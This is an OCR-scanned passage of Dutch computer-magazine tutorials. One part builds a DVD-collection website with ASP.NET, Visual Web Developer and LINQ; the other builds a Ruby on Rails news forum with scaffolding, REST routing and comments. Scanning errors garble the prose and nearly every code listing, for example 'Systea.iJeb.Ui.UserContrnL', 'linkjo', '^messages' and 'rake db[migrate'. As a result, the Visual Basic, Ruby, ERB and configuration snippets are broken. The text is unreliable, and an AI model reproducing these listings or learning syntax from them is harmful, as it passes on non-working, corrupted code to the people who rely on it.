wordt F kun je bekijken in de Design-, Source- 


of Split-weergave. Er zitten twee ContentPlate- 
Holders in; dat zijn de gebieden die later door 
de feitelijke webpagina's vrij te bewerken 
zijn. Afgezien van deze ASPNET-uitbreidin¬ 
gen bestaat die pagina uit normale, stan¬ 
daard XHTML - alleen de eerste regel ver- 
wijst naar CodeFile basic.master.vb. De Solution 
Explorer verbergt het bestand met de Visual 
Basic-code namelijk onder bask.master. 

In de browser van de gebruiker zie je 
zowet de Code File-regel als de placeholders 
niet. In het eerste geval geeft de combina- 
tie van vishaken en procentteken{<% ,„ %>) 
aan de Webserver door dat deze regel door 
de server verwerkt meet worden en het re- 


sultaat naar de client moet worden door- 
gestuurd. Bij de placeholder-tags zorgt het 
attribuut runat="server" daarvoor. Met het id- 
attribuut kun je de objecten in de code mak- 
kelijker bereiken, Zo kun je de eerste place¬ 
holder met de ID head in Visual Basic direct 
benaderen met Me.head. 

Voordat we aan de eerste echte pagina 
begin nen, moet je de tweede placeholder 
in de HTML-body een andere naam geven; 
ContentPLaceHolder 1 moet mamcontent worden en 
deze wijziging moet je uiteraard ook op- 
slaan. De eerste pagina krijgt de naam 'De- 
faultaspx 1 en die maak je door bij H New File' 
voor het datatype Web Form' te kiezen. Als 
er een vinkje staat bij 'Select master page’, 
laat Visual Web Developer je kiezen welke 
masterpage je wilt gebruiken. Je hoeft dan 
alleen nog basic.master te bevestigen. 

Testrun 

Als je dan op F5 drukt, start de interne test- 
Webserver van Visual Web Developer. De 
vraag of het debuggen geactiveerd moet 
worden, kun je beter bevestigen, want dan 
wordt het een stuk makkeiijkerom fauten op 
te sporen. De applicatie slaat die instelling in 
Web.config op en breidt het element <com- 
pilatlon> uit met het attribuut <debug='true">, 
Als je de webapplicatie later gaat publiceren 
moet je dat - om ve i I ig held s reden en en voor 
de performance - weer verwijderen, Daarna 
roept de browser de lege pagina default.aspx 
van de testserver op, 

Web Developer bevindt zich nu in de 
debuggingmodus. Met Shift+F5 ga je weer 
terug naar de normale modus. Het Output- 
venster onderaan het hoofdvenster toont de 
assemblies die tijdens het debuggen gela- 



Met de twee ASP-placeholders in het paginasjabloon kan de content worden ingebed. 
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In Visual Web Developer voeg je nieuwe elementen bet makkelijkst toe met een selectie- 
venster - of dat nu voor de configuratie, sjablonen, stylesheet of een databasekoppeling is. 


den worden en helpt je later bij het zoeken 
van fouten. In eerste instantie heb je die niet 
nodig. 

Je kunt je website het makkelijkst wat 
meer leven geven in de ontwerpweergave 
van basic.master. Dan kun je bijvoorbeeld 
stuurelementen uit de toolbox met drag & 
drop toevoegen of er stylesheets aan ham 
gen. 

Om te beglnnen typ je de tekst 'Digitale 
dvd-kast' in en kies je uit het opmaakmenu 
boven de editor voor het type 'Heading 1 * De 
elementen zijn met het kleine etiketje links 
boven de elementen te verschuiven, De titel 
moet je boven de lege ContentPlaceHolder 
maincontent zetten. Met enkefe CSS-comman- 
do's kun je de pagrna nog wat opfleuren. 


Om objectgeorienteerd met de data te wer- 
ken, hebben we de juiste Visual Basic-code 
nodig. Dartkzij LtNQ hoef je die geiukkig niet 
zelf te schrijven. Een nieuw bestand UNQ 
to SQL Classes' dat op voorstel van het pro- 
gramma zelf in de map App_Code wordt 
opgeslagen, neemt je die taak uit handen, 
Dan hoef je alleen nog de label 'dvd' uit de 
Database Explorer naar de linkerkant van je 
ontwerp te slepen. De programmaklassen 
worden dan automatisch aangemaakt 
Voordat deze label in de browser te zien 
is, moeten er nog wat gegevens worden toe- 
gevoegd. In de database onder de softlink 
zijn al wat dvd's toegevoegd, maar je kunt ze 
via 'Show Table Data' in het snelmenu van de 
dvd-tabel onder de Database Explorer ook 


zeif toevoegen. Dan heb je een eerste ver- 
sie van de dvd-kast klaar. Met F5 geef je het 
startschot voor de website. Met een klik op 
de kolomtitels worden de gegevens op de 
gekozen kolom gesorteerd, met de pijltjes 
onderaan de pagina's loop je makkeltjkdoor 
je verzameling dvd's been. 

Huisvlijt 

Dan is het tijd de gegevens te laten zien. 
Maak in de Solution Explorer met een rechts- 
klik de map 'controls' aan en maak in die 
map ook weer met een rechtsklik een 'Web 
User Control’-element aan met de naam dvd- 
coi lection.aspx. Afs je dubbelklikt op het be¬ 
stand dvdcollection.aspx.vb, gaat dat open 
in de Sourcewveergave. De brontekst zlet er 
ongeveerzo uit: 

Partial CLass controLs_dvdcoLlection 
In herits Syste m. Web UL U serCo ntrol 
End Class 

Daarblj is controls_d vdco Llecti on de klassenaam 
van het nieuwe stuurelement. De inherits- 
regel erft de methode, de events en eigen- 
schappen van de klasse UserControI uit de 
namespace 5ystem.Web.UL Deze laatste kun 
je in de Class View zien onder References'. 
Het .NET-framework neemt je daarnnee veel 
codewerk uit handen voor bijvoorbeeld de 
communicatie via HTTR het sessiebeheer en 
de cookies. 

Het dvdcollection-stuurelement haatt de 
gegevens uit de database en kan gegevens 
wijzigen. Met de klassen dvd en DataCLassesDa- 
taContext die door LINQ beschikbaar worden 
gesteld, moet dat geen probleem zijn (zie 
listing). 

De klasse con trols_d vd col Lectio n definieert de 
twee variabden _dvds en _dataContext en twee 
property's. Door het kenmerk Private in regel 
3 zijn beide variabelen alleen binnen deze 


Database 

Een databasekoppeling maak je net zo mak- 
kelijk op een vergelijkbare manier met 'New 
File 1 , waar je 'SQL Server database' kiest We 
raden je drlngend aan om de vraag of Visual 
Web Developer de database in de map 'App_ 
data' moet zetten ook met 'Ja' te beantwoor- 
den. De standaard beveiligingsinstellingen 
van ASP.NETzorgen ervoor dat de bestanden 
die daar zijn opgeslagen niet met een brow¬ 
ser van buitenaf toegankelijk zijn. 

Ah de database is geconfigureerd, gaat de 
Database Explorer open. Via het snelmenu 
van 'Tables' in Database.mdf maak je een 
nieuwe tabel aan. In het hoofdvenster ver- 
schijnt een tabelleneditor die er voor Access- 
gebruikers meteen bekend uit zal zien. De 
tabel moet in ieder geval de velden title (als 
nchar(256)), bought (datetime), year {smallint) en de 
primaire sleutel Id (smallint) bevatten. Sla dit 
op met de tabelnaam 'dvd 1 . Als je geen zin 
hebt om die tabel met de hand te maken, 
kun je via de softlink ook een al enigszins ge- 
vulde kant-emklare database downloaded. 



De uiteindelijke webapplicatie laat de dvd's in een eenvoudig overzicht zien. 
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1 Partial Class controLs_dvdcoLLection 

2 Inherits Systea.iJeb.Ui.UserContrnL 

5 Private _dvds As dvdU, _dataContext As DataCLassesDataConteit 
A PtibLic Property dvdsU As dvdO 

5 Get 

6 Return jlvds 

7 End Get 

& SetCByVaL value As dvdO) 

9 _dvd s = value 

10 E nU Set 

11 End Property 

1Z Public Property dataContextO As DataCLassesDataCcntext 
13 Get 

H Return dataContext 

15 End Get 

16 SetCByVal value As DataCLassesDataContext) 

17 jlataContext = value 

18 End Set 

19 End Property 

20 End Class 


De automatisch aange- 
maakte objecten zijn 
met eenvoudige Get- 
en Set-methodes uit te 
lezen en te wijzigem 


klasse beschikbaar. De dubbele ha ken Q na 
As dvd hebben niets te maken met een funo 
tieaanroep, maar maken een array, dus een 
verzameling van meerdere dvd-objecten, 

De twee property's dvds en dataContext zijn 
ook door andere klassen en objecten in .NET 
(Rubik) te gebruiken. Get levert hier de waarde 
van de twee private variabelen terug H Set daar- 
entegen zet de property op de waarde value. 
Met As in het Set-commando zorg je ervoor 
dat het datatype klopt. Verkeerde object- en 
datatypen zijn immers een belangrijke bron 
van fouten in routines. Het .NET-framework 
biedt hiervoor hulp met een grote verza mo¬ 
ling van de meest uiteenJopende objecten 
en datatypen. Via een boomstruetuur in de 
Object Browser (Ctrl+Alt+J) kun je die door- 
zoeken. 

Een tegelijk 

Een tweede Web User Control-element in 
de map controls (genaamd singledvd.ascx) 
houdt zich bezig met de weergave van een 
enkele dvd. Daarvoor heb je de volgende 
HTML7A5RNET-uitbreiding nodig in de 
So u rce - we e rgave v a n s i ng 3 e d vd .ascx: 

<li> 

< strong id='title' 1 runat= rl server 11 /> 

<asp:Literai ID="infos" runat=' , server" /> 

</li> 

Het stuurelement Literal laat alleen tekst zien, 
De klasse in het bijbehorende .vb-bestand 
bevat net ais controls, dvdcolLection twee nieuwe 
property's dvd en dataContext. De bron code is 
bijna hetzeifde, alleen het array dvds() is nu 
een enkele variabele dvd: 

Private _dvef As dvd,... 

Public Property dvdQ As dvd 

Nu is er nog code nodig die de database op 
de juiste man ter voor deze twee controls 
doorzoekt. In het <strong>-element moet de 
dvd-titel komen te staan; het versthijnings- 
jaar is extra informatie. De applicatie heeft 
deze gegevens meteen nodig als de gebrui- 
ker de pagina laadt 

Boven de code zit een selectieveld wat 
waarschijnlijk de waarde (General) heeft en 
waarmee je baj het actuele object (controls_sin- 


gledvd) dlens '(Page Events)' selecteert. Als je 
in het rechter selectieveld een keer op Load' 
klikt, krijg je de juiste broncode voor de btj- 
behorende event-handling in de vorm van 
de nog lege methode Page_Load. Hier worden 
de title-control en het Literal-stuurelement 
infos met waarden gevuld: 

Protected Sub Page_Load(...) Handles Me.Load 
Me.title.lnnerText - dvd.title 
Me.infcs.Text = Strin g .Form at(" ({0)) 'V dvd .year) 

End Sub 

Daarbij is Me niet per se noodzakeiijk - alle 
attributen die daar zijn opgeslagen, zijn ook 
direct te benaderen: 

titlelnnerText = dvd.title 

Hiermee is het werk aan het controls_singledvd- 
object klaar. Maar voordat dat gebruikt 
wordt, moet de toepassing het object voor 
elke dvd apart laden. Hiervoor moeten we 
dvdcollectionascx eerst van het bestaan van 
singledvd op de hoogte brengen: 

<%@ Reference Control/controls/s ingledvd.ascx" %> 

Dan moet het dvdcoLlection-object bij het laden 
van efke dvd het singledvd-stuurelement aan- 
roepen: 

Protected Sub Page_Load{>.,) Handles Me load 
If dvds IsNot Nothing Then 

Dim dvd List As New HtmlContrals.Html / 

GenericControL{"ui''), singleDVD As contra Ls_singledvd 
for Each dvd As dvd In dvds 
singleDvd = Pa ge. Load Contra L("-/controls/ / 

singledvd .a sex") 

single Dvd .dvd = dvd 

single Dvd .da taContext = dataContext 

dvd List.Co ntrols. A dd (sin g LeDvd) 

Next 

Me .Contra Is .Add (dvd List} 

End If 
End Sub 

Als het dvds-array bestaat, maakt de for-loop 
voor elke dvd een nieuw singleDvd-stuureie- 
ment, Rent daar de eigen datacontext aan 
toe en voegt het element toe aan de lijst 
dvdLrst.Controis. Die lijst vormt uiteindelijk de 
fnhoud van de feiteiljke dvdcoLlection. 


Om het dvds-array te laden, zijn er nog drie 
kieine aanpassingen nodig aan de website. 
In de Design-weergave van default.aspx 
sleep je het dvdcoLlection-stuurelement uit de 
Solution Explorer naar de pagina. De echte 
databasequery loopt via LINO. Daarom moet 
default.aspx.vb meteen in het begin diens 
namespace importeren: 

Imports System,Linq 

De request zelf gebeurt op de gebruikelijke 
manier bij het laden van de pagina: 

Protected Sub Page_Load(...) Handles Me.Load 
Dim dataContext As New DataGassesDataContext 
dvd co Llectionl. data Con text = dataContext 
Dim dvds = From dvd In dataContext.dvds Order / 

By dvd.title Ascending Select dvd 
dvdtoUeciionl.dvds = dvds JoArray 
End Sub 

Bij het laden vraagt deze LINQ-code die 
veel van SQL wegheeft, de database om 
de gegevens en wordt het resultaat als 
array van dvd-objecten doorgegeven aan 
het stuurelement dvdcollectionl. De datacontext 
zorgt tegelijk voor de databaseverbinding. 
Met F5 kun je het resultaat dan in de brow¬ 
ser bekijken. 

Knutsel project 

Het voorbeeldproject heeft genoeg aankno- 
plngspunten om zeif aan de slag te gaan. 
Zo kun je met een stuurelement DetailsView 
de afzonderlijke titefs bewerken of nieuwe 
toevoegen. Met een simpele tekstbox en 
een LINQ-request met een Where kun je ook 
een zoekfunctie maken, Ons voorbeeldpro¬ 
ject breidt de eigen dvd-collectie uit met 
produetdetaiis van Amazons webserive, 
waardoor we bijvoorbeeld ook de cover en 
publicatiejaar en andere informatie van de 
betreffende dvd kunnen laten zien. Verder 
kan de ingebouwde zoekfunctie gebruikt 
worden om het gehele online databestand 
op trefwoorden te doorzoeken. Ais je je 
vrienden van je nieuwste muziekaanwinsten 
op de hoogte wilt stellen, kun je ook een 
RSS-feed maken. Daar hebje niet meer voor 
nodig dan een Web Form en een query op 
de aankoopdatum. 

Het opensource project ASP.NET AJAX 
Control Toolkit biedt nog meer mogelijkhe- 
den, zoals het automatisch aanvullen van de 
zoektermen. Met een tweede databasetabel 
zouje een uitfeenfunctie voor vrienden kun¬ 
nen maken. Zij kunnen zich dan aanmelden 
aan de hand van een gebruikersnaam en 
wachtwoord via de Login-control. De ge- 
bruikersrollen zijn met de ASP.NET Configu¬ 
ration tn het menu Website in te stellen.Ten- 
slotte zou je zelfs met een webcam en een 
Flash-control aan de dient-zijde of met een 
OCR-pakket en een eigen webservice een 
barcodeherkenning kunnen maken. Leef je 
uit! (nkr) 
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Webontwikkeling met Ruby on Rails 

Toen het framework Ruby on Rails in 2004 verscheen r begon er een nieuw 
fijdperk voor de programmeurs van databasegeorienteerde webapplicaties. 
Credo’s als "convention over configuration" en "don't repeat yourself" werden 
op slag ook aanbevelingen in frameworks voor andere programeertalen, en 
zijn nog steeds van grote invloed. In deze introductie tot Rails bouwen we als 
voorbeeld een nieuwsforum. 


A I snel na de eerste release van Ruby on 
Rails (www.rubyonrails.org, kortweg 
'Rails) werd het door David Heine- 
meier Hansson geschreven framework over- 
spoeld door belangstelling. Door de populai- 
re screen cast s op de site ontstond er zelfs een 
ware hype, die achteraf terecht mag worden 
genoemd. Tegenwoordig is Rails bekend als 
de techniek achter grote websites als Twitter 
en Scribd. Rails baseert zich op de objeetge- 
orienteerde scripttaat Ruby en dwlngt je een 
schone architectuur te gebruiken, terwijl er 
ook aan aiferlei praktische problemen van 
ontwikkelaars gedacht is. 

Ralls scheidt de programmalogica, de be- 
werkingen op de database en de grafische 
vormgeving van elkaar door voor die drie 
delen subframeworks aan te bieden. Deze 
gescheiden benadering zorgt voor minder 


afhankelijkheden binnen je code en maakt 
het makkeJijker om taken te verdefen over 
ontwikkelaars, webdesigners en database- 
experts. Het sleutelwoord bierbij is het Model- 
View-Controller-mode! (MVC), een architec- 
tuurpatroon dat in het algemeen garant staat 
voor een goed a p pi [cat i eon twerp. 

Reisplanner 

Als een web browser een request stuurt naar 
de Webserver, wordt die vraag als eerste door- 
gestuurd naarde dispatcher, die de taakverde- 
ling in Rails coordineert. Uit de opgevraagde 
url herkent de dispatcher welk script er nodig 
is voor het afwerken van die taak. Dat script 
wordt een controller genoemd. Je hoeft als 
programmer dus aJIeen maar je controllers 
te vernoemen naar een gewenst url-deel. 


In Ralls is elke controller gebaseerd op het 
framework ActmntontrolLer. Hiermee voer je 
taken uit zoals het genereren, bewerken of 
lezen van de model len in de database. Deze 
modellen zijn weer gebaseerd op het Active- 
Record-fra me work, dat bijvoorbeeld de verbin- 
ding met de database regelt Als je dat prettig 
vindt, kan het model ookde gebruikersinvoer 
controleren en fouten mefden. 

Een controller kan het request doorstu- 
ren/verder Jelden naar een andere control¬ 
ler of zelf het ant woo rd leveren. Het ant- 
woord van de controller bestaat meestal 
uit een HTML-vlew, die door Action View uit 
HTML-sjablonen wordt gegenereerd, Als 
de client niet om een pagina maar om een 
webservice vraagt, kan de controller ook 
een XML-document terugsturen. Controller 
en modellen kunnen met het framework Ae- 
tionMailer zelfs e-mails versturen. 

Spoorbaan aanleggen 

Vooropgesteld dat je een browser en een edi¬ 
tor in buss hebt, heb je voor het bouwen van 
een Rails-toepassing niets anders nodig dan 
de programmeertaa 1 Ruby het Ralls-frame- 
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work en sen database. Als lokale ontwikkelom- 
geving onder Windows is InstantRaifs aan te 
raden. Na installatie kun je de Ruby-interpreter 
op de Opdrachtprompt als voIgt aanroepen: 

ruby -v 

De eerste stap bij het ontwikkelen van een 
RaJIs-toepassing is het genereren van een 
appiicatiegeraamte met het commando rails, 
dat een vaste directorystructuur aanmaakt. 
Met InstantRails voer je het volgende com¬ 
mando in de directory raits_apps uit: 

rails news panel 

Als database-engine gebruikt Rails standaard 
SQUte, dat zijn data beheert in db/develop- 
ment.sqlite3. Omdat we in ons voorbeeld 
MySQL willen gebruiken, moet je de configu- 
ratie in config/database.yml aanpassen: 

development: 
adapter: mysql 

database: newspanel_development 
host: localhost 
username: mot 
password: 
encoding: utfS 
test: 

adapter: mysql 
database: newspanel_te$t 
host: localhost 
username: root 
password: 
encoding: Utf8 

Met het volgende rake-commando (Ruby's 
variant op make) in de newspanel-directory 
genereer je vervolgens de databases: 

rake db:create:all 

Rails-prajecten gebruiken in principe al drie 
databases. Terwiji je je toepassing ontwik- 


kelt en urttest in je browser, gebruik je de 
ontwikkeldatabase. Zo gauw je echter au- 
tomatische unit-tests gaat uitvoeren, haien 
deze hun data uit de testdatabase. En uit- 
eindelijk zul je in een productieomgeving 
je appficatie instellen op de productiedata- 
base. Het is vrij simpel om nog een andere 
omgeving, by voorbeeld een preview, toe te 
voegen. Na deze stappen ben je klaar met 
het voorbereiden en configureren van de 
applicatie. 

Om je Ruby-webapplicaties te kun- 
nen draaien, heb je de Webserver Mongrel 
nodig, die vrijwel altijd (en zeker in pro- 
ductieomgevingen) in combinatie met een 
echte Webserver als Apache wordt gebruikt. 
Heb je Mongrel nog met gei'nstalleerd, dan 
kun je je applicatie ook benaderen via de in 
Ruby geschreven HTTP-server WEBrick, die 
bij Rails wordt meegeleverd. Die start je als 
voIgt: 

ruby script/server 

Deze Webserver is standaard ingesteld op 
poort 3000. Als je in je browser de url http:// 
localhost:3000 invoert, komt de welkomst- 
pagina van Ralls tevoorschijn. 

Modelbaan 

Modellen zijn persistente business objects, 
die hun gegevens in een databasetabel op- 
slaan. Het verband tussen een model en een 
tabel wordt in Rails puur door hun naam ge- 
regeld, zodat je deze meestal niet handma- 
tig hoeft te configureren. De regel is dat een 
tabelnaam (bfjvoorbeeld messages) de klein 
geschreven Engel se meervoudsvorm is van 
de bijhorende modelklasse (hier dus Message). 
Afwijkingen op de regel zijn mogelijk, maar 
dat moet je dan extra instellen. 

Je kunt de modellen her makkelijkst aan- 
maken via scaffolding, wat betekent dat je 
het appiicatiegeraamte volledlg genereert. 



Als parameters geef je aan de scaffolding- 
generator de naam van het model en diens 
attributen mee, bij voorbeeld zo: 

ruby script/generate scaffold message title string 
descrip ti on :text 

title en description zijn twee datavelden, achter 
de dubbele punt staat hun respectievelijke 
datatype. Met deze gegevens genereert het 
script een aantal bestanden: het data model, 
de MessagesController en de views die bewerkt 
worden via de browser. 

Verder heeft de generator een zogenaamd 
migratlescfipt aangemaakt waarmee je de 
datatabel messages kunt genereren, Dit script 
staat fn de directory db/migrate, heet bijvoor- 
beeld 20090902130356_create_messages.rb 
en bevat alle attributen van de generatoraan- 
roep. Deze databaseonafhankelijke Ruby- 
scripts kun nen tabel len genereren, verande- 
ren of wissen en je kunt er eventueel snel een 
eerdergebackupte toestand van de data mee 
herstellen. De volgende aanroep van rake (Ru¬ 
by's variant op make) draait het migratiescript: 

rake db[migrate 

Mu kan het model Message de gegenereerde 
databasetabel gebruiken. Modellen zijn Ru- 
by-klassen die zijn afgeleid van de basisklas- 
se Active Record: Base. Standaard bevinden deze 
zkh in de directory app/models* De klasse 
Message zelf staat in het bestand a p p/mod els/ 
message.rb en dat ziet er zo uit: 

cLass Message < Active Record:: Rase 
end 

Rails breidt de klasse Message voor elk veld 
van de tabel messages automatisch uit met een 
prive-attribuut en metde bijbehorende lees- 
en schrijfmethoden ('getters en setters') - en 
dat dynamisch tijdens runtime. Veranderin- 
gen in de tabel hebben dus meteen effect 
op het model. Nieuwe of veranderde velden 
zijn meteen in de modelklasse beschikbaar 
zonder dat je de toepassing hoeft fe actuali- 
seren of de server moet herstarten, Hier zie je 
het don't repeat yourself-prindpe van Rails 
in de praktijk; gegevens en functies mogen 
niet redundant voorkomen, waardoor het 
onderhoud makkelijker wordt. 

Aangezien naast het model ook de con¬ 
troller en de views zijn gegenereerd, kun je 
de toepassing op http://Ioca I host:3000/mes- 
sages al meteen gebruiken. Je kunt er berich- 
ten genereren, bewerken en wissen. 



Rails genereert werkende applicatie-' 
geraamtes zonder dat je ook maar een 
regel programmacode hoeft te schrijven. 
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Ruby 


Ruby (www.ruby lang.org) is een puur 
objectgeorienteerde scripttaal en werd 
voor het eerst gepublrceerd door de Ja- 
panner Yukihiro Matsumoto alias 'Matz' 
in 1995. Op het moment van schrijven 
Is versie 1,9.1 de laatste, De taal is met 
name geinspireerd door Smalltalk, Perl 
en Python. Zo biedt Ruby onder andere 
garbage collection, exception handling, 
threads, reflection (introspection), regu- 
[iere expresses en codeblokken. Die laat- 
ste worden door programmers meestal 
in combinatie met iteratoren gebruikt om 
loopconstructies te vervangen. 

Ruby kent geen primitive typen {zoals 
bijvoorbeeld Java): in Ruby Is alles een 
object. Naast klassen zijn er modules, die 
aan de ene kant namespaces introduce- 
ren, maar die je ook kunt gebruiken als 
’mlxln' (vergel ijkbaar met Java-interfaces) 
om hun methoden aan andere klassen te 
koppelen. STj dat laatste veranderen de 
modulemethoden in instantiemethoden 
van de klasse. Ruby is open voor uitbrei- 
dingen; je kunt dus achteraf nog klassen 
en modules uitbreiden of veranderen - 
wat Rails flink uitbuit 

Met RDoc is er een fraaje tool voor het 
maken van HTML-documentatie bij bron- 
code. Er is ook een debugger. Het beheer 
van Ruby-bibfiotheken wordt door de 
pakketmanager RubyGem afgehandeid 
(vgl. CPAN voor Perl en setuptools voor 
Python). Er zijn allerlei IDE's, zoals het op 
Eclipse gebaseerde Aptana, 


Seinhuis 

Controllers besturen de controlestroom van 
een toe passing door HTTP-requests aan te 
nemen, af te handelen en uiteindelijk een 
HTML-pagina te genereren. Ze doen dit door 
zogenaamde Actions uit te voeren, oftewel 
publieke methoden van de controllerklasse. 
Als iemand bijvoorbeeld de url http;//local- 
host:3QQ0/messages opvraagt, wordt de 
methode index aangeroepen In de klasse Mes- 
sagesControlier in het bestand app/controllers/ 
messages^controller.rb: 

class MessagesControHer < ApplicationController 
def index 

^messages = Jfesage,find(:all) 
re5pond_io do | format | 
format htm l 

format.xml {render :xml => ^messages ] 
end 
end 


De methode index haalt eerst alle berichten 
uit de database en kent deze toe aan de in- 
stantievarlabele ^'messages, De controller roept 
uit de klasse Message de methode find aan, die 


Ralls in elk model beschikbaar maakt Afhan- 
kelijk van het formaat dat de client vraagt, le- 
vert de controller de berichten terug in XML 
of HTML In geval van HTML wordt hiervoor 
het HTML-sjabloon index.htmlerb gebruikt, 
dat de controller m app/vtews/messages 
zoekt. Dit iflustreert het Rails-principe con- 
ventie boven configuratie'. Via de instantie- 
varlabele heeft het HTML-sjabloon toegang 
tot de berichten. 

Naast HTML Is er ook een eenvoudige re- 
presentatie voor XML, die Ralls zander sja- 
bloon genereert Om die te krijgen, moet in 
de HTTP-request header de regel 'Accept: ap- 
plication/xml" staan of roep je de url gewoon 
met de extensie "xml" aan, bijvoorbeeld 
http://localhost:3000/messages.xmJ. Andere 
formaten (PDF, XLS, CSV etc) kun je zonder 
probleem toevoegen, 

Behaive index heeft rails nog zes andere 
actions aangemaakt. De actions show, create, 
update en destroy hebben betrekking op een 
enkel benefit en komen overeen met de 
HTTP-methoden GET, POST, PUT en DELETE. De 
actions new en edit leveren de formulieren 
voor het aan maken of actualiseren van een 
berfeht. 

Om deze actions op te starten, heb je een 
passende combinatie van HTTP-methode en 
url nodig. Zo geeft GET /messages/1 het bericht 
met nummer een weer, met de HTTP-me¬ 
thode DELETE zou een aanroep van dezelfde 
url het bericht daarentegen wissen. Rails 
ondersteunt al sinds versie 2 deze architec- 
tuur, die bekend staat onder de naam REST 
(REpresentational State Transfer). REST ver- 
schilt van de gebrulkelijke aanroep via url- 
pa ra m ete rs (b lj vo o r bee I d btt p:// local host/ 
messages7action=de3ete&id=1). Omdat 
echter nog veel hedendaagse browsers de 
HTTP-methodes PUT en DELETE niet ondersteu- 
nen, simuleert Rails deze via een verborgen 
formulierveld. 

Het mappen van de url en HTTP-met bo¬ 
des naar de bijbehorende controller en ac¬ 
tion wordt geregeld door de zogenaamde 
routing', Je kunt in het configuratiebestand 
config/routes.rb bekijken welke deflnities er 
nodig zijn voor de resource Message: 

Action Contra Her:: RoutS n.g:: R outes. draw do |mapj 

map.resources messages 

End 

Rails genereert uit map .resources messages tijdens 
runtime dynamlsch de mapping van een mes¬ 
sages rl naar de MessagesController en de action, 
Een overzicht over de samenwerking tussen 
methode en url met controller en action laat 
de volgende aanroep zien: 

rake routes 

Voor elke gedefinieerde route (bljv. message) 
genereert Rails dynamisch Ruby-methoden 
In de vorm <route>_path en <route>_url, 
bijvoorbeeld message_uri. De eerste I evert 
een relatief pad als /messages/1, de twee- 
de de complete url (http://]ocalhost:30OO/ 


messages/1). Deze methoden worden in de 
HTML-code van de views gebruikt, waar ze 
bijvoorbeeld links genereren. 

Uitzicht 

De sjablonen voor de views bevatten niet af- 
leen HTML maar ook Ruby-code, die de dy- 
namisehe data uitlevert. Hiervoor gebruikt 
Rails de Embedded Ruby Interpreter, die naar 
<%... %> zoekt en de daartussen gevonden 
code uitvoert - bijvoorbeeld In Index.htmL 
erb: 

<% for message in ^messages %> 

<tr> 

<td> <%=h message.title %></td> 

<td> <%=h message.descriptIon %></td> 
<td> <%= linkjo 'Show 1 , message %></td> 
<td> <%= linkjo Edit', edit_message_ / 

path (message) %></td> 
<td> <%= linkjo 'Destroy' message, / 
confirm -> 'Are you sore?', : method ~> :delete %></td> 
</tr> 

<% end %> 

De for-lus gebruikt dan de instantievariabeie 
^messages die de controller in de action index 
toewijst Voor elk bericht schrijft de interpre¬ 
ter een nieuwe tabelrij, Zogenaamde helpers 
als linkjo vereenvoudigen het genereren van 
steeds weer benodigde HTML-code, De hel¬ 
per gebruikt de door de routing genereerde 
methoden zoals editjnessage path in plaats van 
de url's vast gecodeerd en dus inflexibe! in 
de HTML te schrijven. Veranderingen worden 
cent raa I i n ro u te s. rb g ed efi n I ee rd. 

In het geval van Show en Destroy gebruikt de 
view in plaats van de routingmethode messa- 
gejiath (message) direct de actuele instantie van 
het bericht; voor Show gebeurt er een GET op 
/messages/[id], bij Destroy zorgt de parameter 
:method ervoor dat Rails een DELETE op messa¬ 
ges/lid] uitvoert. 

De views die de scaffold-generator aan- 
maakt, zijn zo minimalistisch ontworpen dat 
je ze flink zult moeten aanpassen om ze pro- 
fessioneel te gebruiken. Scaffolding is dan 
ook niet Sets wat je veel kunt blijven doen 
terwijl je een Rails-appiicatie bouwt - het 
helpt enkel erg goed als je net beginf. 

Wagons 

Ook om het nieuwsforum uit te breiden met 
een reactiesysteem, kun je dus geen scaffol¬ 
ding gebruiken. Daarvoor heb je een model 
Comment met de bijbehorende databasetabel 
comments nodig. Toch kun je ook daar de ge¬ 
nerator een migratiescript la ten maken en 
dit uitvoeren: 

ruby script/generate model comment body Text / 

message Jd integer 

rake db:migrate 

Elke reactie hoort bij precies £en bericht, dus 
bevat de label comments de sleutel messageJd. 
Deze attribuutnaam ontstaat wederom via 
de Rails-conventie (model pfus extensie 
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Dankzij de Rails-automatismen is een re¬ 
act iefu net ie snel gebouwd. 

"Jd"), waarbij het framework bijna zonder 
configuratie met de l;n-re!atie kan omgaan. 
Op modelniveau hoef je maar twee kleine 
aanvullingen te maken: de automatlsch ge- 
genereerde klasse Comment (app/models/ 
comment.rb) heeft een belongsJo-opdracht 
nodig: 

da ss Comment < Active Record:: Base 
belongs_to :message 
end 

... en de tegenhanger daarvan, de klasse Mes¬ 
sage, modelleert een has_many-dedaratie: 

class message < ActiveRecord^Ease 
has_many comments 
end 

De 1 :n-re!atie weerspiegeit zich ook in de 
routingconfiguratie: 

map.resources messages, :hasjnany -> comments 

Dankzij deze routing kun je bijvoor- 
beeld met de url http://lo cal host:3000/ 
messages/:messageJd/comments a He reac¬ 
hes bij een bericht opvragen, waarbij je ;mes- 
sagejd vervangt door de id van dat bericht. 
Dit adres maakt de afhankelijkheid tussen 
de readies en een bericht duidelijk, Voordat 
deze url-aanroep kan werken, moet je echter 
nog een paar controllers en views aarmna- 
ken. 

Seinen 

We kunnen nu readies tonen, maar er ont- 
breekt nog een mogelijkheid om ze in te 
voeren. Om dit te realiseren, gaan we uit van 
een gegenereerde single-view voor bench- 
ten in apps/views/messages/show.html/erb. 
We breiden de view als voIgt uit: 

<h3>Commentaren:</h3> 

<ul><% for comment in ^message,comments %> 
<li><&= commenrbody %></li> 

<% end %></ul> 

<h3>tommentaar toevoegen:</h3> 

<% form Jbr([@message r (^comment ]) do jf| %> 


<p><%= f.£ext_area :body %></p> 

<p><%= f,submit "Add 1 " %></p> 

<% end %> 

Het eerste blok laat alle reacties bij een 
bericht zien. In het formulier eronder kun¬ 
nen nieuwe reacties worden ingevoerd. De 
helper form Jor krijgt de Message- en Comment- 
instantie waaruit hij de url samenstelt die bij 
het versturen van het formulier aangeroepen 
moet worden. Die laatste moet echter nog in 
de action bij de view worden gedefmieerd, 
dus in messages^controller.rb: 

def show 

@ message = Message.find[params[:id]) 

^'comment = CommenUiew 


Vertrek 

Het versturen van het formulier start de ac¬ 
tion create in de CommentsControlier. Die control¬ 
ler bestaat echter pas na het volgende com¬ 
mando: 

ruby script/generate controller comments 

De controller app/controllers/comments_ 
controller.rb bevat nu een lege klassedefini- 
tie. De actie create ontbreekt nog, en moet er 
als voIgt uitzien: 

class CommentsControiler < ApplicationControHer 
def create 

message = M essage.fin d tpa rams [ :messa ge_id]) 
^comment = Commem.newfparams[:comment]l 
^commenimessage = message 
@comment.save 
red trect_to (m essage) 
end 
end 

Via de parameter messagejd ontvangt de ac¬ 
tion de id van het bericht en laadt hij deze. 
De volgende regel genereert een nieuwe 
instantie van Comment met de formulier- 
parameters {params[:comment]), De methode 
Commentmessage is door de model-definitie 
belongs jto :message beschikbaar en wijst de 
commentaar aan zijn bericht toe. Als laat¬ 
ste start het script de actie Show van het be¬ 
richt. 

